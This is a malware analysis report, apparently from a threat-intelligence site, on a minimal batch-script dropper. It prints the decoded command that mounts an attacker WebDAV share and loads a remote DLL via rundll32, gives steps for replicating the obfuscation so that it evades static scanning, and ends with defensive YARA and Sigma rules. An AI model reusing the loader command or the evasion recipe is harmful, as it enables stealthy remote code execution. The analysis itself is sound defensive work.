unclassified-js-webdav-dropper: 4889c168 — 3-line shared-prefix batch, PowerShell wrapper + rundll32 entry

Executive Summary

Pure batch dropper (3045730206188164798.bat, 2.1 KB) deploying the now-familiar WebDAV → rundll32 ...,entry chain against 45.9.74.32:8888. Shared-prefix SET obfuscation (epykh + random suffix, 36 variables) decoded by batch %VAR% expansion. Notable for being a three-line minimal footprint — the smallest non-polyglot batch variant in the family — with a PowerShell -windowstyle hidden wrapper and the color f0 && start wordpad decoy. Sixty-third confirmed sibling in the unclassified-js-webdav-dropper cluster. Static-only; CAPE skipped (text file). No new techniques.

What It Is

The entire script fits on three lines:

• Line 1: 36 SET variable assignments chained with && on a single 1,266-character line ^[strings.txt:1]
• Line 2: color f0&&start wordpad decoy ^[strings.txt:2]
• Line 3: start powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\DavWWWRoot\ ; rundll32 \\45.9.74.32@8888\DavWWWRoot\4551.dll,entry ^[strings.txt:3]

No goto label, no word-salad padding, no sandbox gate — the minimal viable dropper.

How It Works

Obfuscation: shared-prefix SET variable expansion

Thirty-six variables all share the prefix epykh followed by a random 5–6 character suffix: epykhsqwcq, epykhnkily, epykhdjqqx, etc. Each maps to a single ASCII character (letter, digit, or symbol). ^[strings.txt:1]

This is decoded at runtime by batch %VARNAME% expansion. The assembled commands are:

color f0 && start wordpad
start powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\DavWWWRoot\ ; rundll32 \\45.9.74.32@8888\DavWWWRoot\4551.dll,entry

Execution chain

1. color f0 && start wordpad — sets console colors to black-on-white and launches WordPad as a decoy to occupy the user. ^[strings.txt:2]
2. start powershell.exe -windowstyle hidden ... — spawns PowerShell in a hidden window. ^[strings.txt:3]
3. Inside PowerShell: net use \\45.9.74.32@8888\DavWWWRoot\ mounts the attacker WebDAV share.
4. rundll32 \\45.9.74.32@8888\DavWWWRoot\4551.dll,entry loads the remote DLL via the signed Windows system binary. ^[strings.txt:3]

No persistence, no second-stage drop to disk, no registry modification — a one-shot reflective payload delivery.

Decompiled Behavior

Not applicable — this sample is a plain-text batch script, not a PE binary. No Ghidra, radare2, or capa analysis possible. ^[file.txt]

C2 Infrastructure

The 45.9.74.32:8888 infrastructure has been used by nine prior siblings (e777fd64, ed6b2cd3, c6e24c16, ceacabb4, d36d84f2, dc9b0407, 563db970, 420bd100, and now 4889c168). All use rundll32 ...,entry execution rather than regsvr32 /s. See unclassified-js-webdav-dropper for the full sibling list.

Interesting Tidbits

• Minimal footprint record: At three lines and 2.1 KB, this is the smallest pure-batch variant in the entire family. Even the previous "minimal" variants (7015b169 at 3.1 KB / 9 lines, 4f20ce5f at ~2.5 KB / 8 lines) are larger. ^[triage.json]
• Shared-prefix vs random-noise dialect: The epykh prefix places this firmly in the shared-prefix sub-cluster (like hbutc, labzf, nmnmd, mnihx, wdopm, nxbas, gmaef, drsyn) rather than the fully random-noise dialect observed in 7015b169 and 4f20ce5f.
• PowerShell wrapper on .32 infrastructure: Most 45.9.74.32:8888 siblings do include the PowerShell -windowstyle hidden wrapper (dc9b0407, 563db970, 420bd100); this sample continues that pattern.
• Payload filename is numeric only: 4551.dll — a 4-digit numeric name, consistent with the 45.9.74.32:8888 sub-cluster's preference for short numeric payload filenames (3682.dll, 1995.dll, 3500.dll, 1150.dll, 639.dll, 1369.dll, 3698.dll, 116.dll).
• No f@ insertion, no base64, no encoded commands: Unlike the PowerShell-heavy batch droppers in other families, this variant passes plaintext commands directly to powershell.exe, relying solely on the SET expansion for obfuscation.

How To Mess With It (Homelab Replication)

Goal: Reproduce the exact obfuscation and verify it evades static string extraction.

1. Choose a payload: Any COM DLL or a benign test DLL.
2. Pick 36 characters you need (letters, digits, symbols for \, @, :, ., -, ;, ,).
3. Generate variable names: Shared prefix (e.g., test) + random suffix, ensuring uniqueness.
4. Write the single-line SET chain:

   set testaaaa=v&&set testbbbb=i&&set testcccc=r&&... (36 assignments)
   

5. Write the expansion line:

   %testcccc%%testbbbb%%testaaaa%%testcccc% ... (assembles to your command)
   

6. Add the decoy: color f0 && start wordpad
7. Add the wrapper: start powershell.exe -windowstyle hidden <assembled_string>
8. Test in a Windows VM. Run strings.exe or findstr against the .bat file — the payload commands are fragmented and will not appear in plaintext.
9. What you'll learn: How trivial batch %VAR% expansion defeats naive static analysis, and why EDR process-creation telemetry (capturing the expanded command line) is essential for detection.

Deployable Signatures

YARA rule

rule WebDAV_Batch_Dropper_Minimal
{
    meta:
        description = "Minimal batch-script WebDAV dropper using SET variable expansion and rundll32/regsvr32"
        author = "PacketPursuit"
        family = "unclassified-js-webdav-dropper"
        date = "2026-07-13"
    strings:
        $decoy1 = "color f0" ascii
        $decoy2 = "start wordpad" ascii
        $webdav = "DavWWWRoot" ascii
        $netuse = "net use \\\\" ascii
        $exec1 = "regsvr32 /s" ascii
        $exec2 = "rundll32" ascii
        $hidden = "-windowstyle hidden" ascii
        $setpat = /set [a-z]{8,40}=[a-z0-9]/ nocase
    condition:
        filesize < 5KB and
        $webdav and
        ($exec1 or $exec2) and
        ($decoy1 or $decoy2 or $hidden or $setpat)
}

Sigma rule

title: WebDAV Batch Dropper Process Spawn
logsource:
    category: process_creation
    product: windows
detection:
    selection_cmd:
        ParentImage|endswith: 'cmd.exe'
    selection_ps:
        CommandLine|contains|all:
            - 'powershell.exe'
            - '-windowstyle hidden'
            - 'net use'
            - 'DavWWWRoot'
    selection_rundll:
        CommandLine|contains|all:
            - 'rundll32'
            - 'DavWWWRoot'
            - '.dll'
    selection_regsvr:
        CommandLine|contains|all:
            - 'regsvr32'
            - 'DavWWWRoot'
            - '.dll'
    condition: selection_cmd and (selection_ps or selection_rundll or selection_regsvr)
falsepositives:
    - Legitimate WebDAV administration scripts (rare)
level: high

IOC list

Behavioral fingerprint

A .bat file containing 20–40 SET variable assignments on a single &&-chained line (or across multiple lines), decoded via %VARNAME% expansion into a command that launches powershell.exe -windowstyle hidden to run net use against an IP@port WebDAV endpoint, followed by either regsvr32 /s or rundll32 ...,entry to load a remote DLL from \DavWWWRoot\. A color f0 && start wordpad decoy is frequently present. No persistence, no sandbox gate, no network indicators beyond the WebDAV mount. File size typically 2–20 KB.

Detection Signatures

References

• Family entity page: unclassified-js-webdav-dropper
• Technique page: webdav-regsvr32-dll-sideloading
• Technique page: batch-powershell-variable-expansion-obfuscation
• MITRE ATT&CK T1218.010: https://attack.mitre.org/techniques/T1218/010/

Provenance

Analysis based on:

• file utility output (file.txt) — file type and encoding
• exiftool metadata (exiftool.json) — size, line count, newline type
• Static strings (strings.txt) — full batch script content with line references
• Triage classification (triage.json) — tier assignment and family null state
• CAPE dynamic analysis skipped (dynamic-analysis.md) — text file, not a binary
• Manual batch script decoding — SET variable expansion and command reconstruction